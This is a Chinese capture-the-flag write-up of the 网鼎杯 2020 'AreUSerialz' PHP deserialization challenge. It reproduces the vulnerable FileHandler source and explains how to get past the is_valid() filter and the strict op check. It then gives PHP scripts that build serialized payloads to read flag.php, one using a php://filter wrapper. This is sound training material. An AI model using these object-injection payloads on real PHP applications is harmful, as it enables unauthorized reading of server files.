复现地址:https://buuoj.cn/
拖了这么久才看网鼎杯。。这就是菜的原因吧
[网鼎杯 2020 青龙组]AreUSerialz
知识点:代码审计,反序列化
打开就是代码审计
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
分析源码,is_valid() 函数只能让你使用下列字符,然后咋做这个题呢?
类里面的==read()==可以被控制,去读取flag.php
不了解反序列化的童鞋可以看看这个:https://xz.aliyun.com/t/3674
反序列化的时候由于类变量是protected,而protected属性在序列化后会变成不可见字符(\00,此字符会截断字符串,导致payload无法使用),导致不能绕过is_valid()
绕过方法:
-
将序列化后的小写s 变为大写S ,使其后面字符支持16进制
具体可以这样 -
PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
再者,__destruct() 里面$this->op === "2"
是强比较,process() 里面是弱比较。所以可以使op=2
,int型的,就可以绕过析构函数
然后就可以用伪协议读flag
<?php
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "";
}
$a = new FileHandler();
echo(serialize($a));
?>
或者直接写flag.php
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "";
}
$a = new FileHandler();
echo(serialize($a));
?>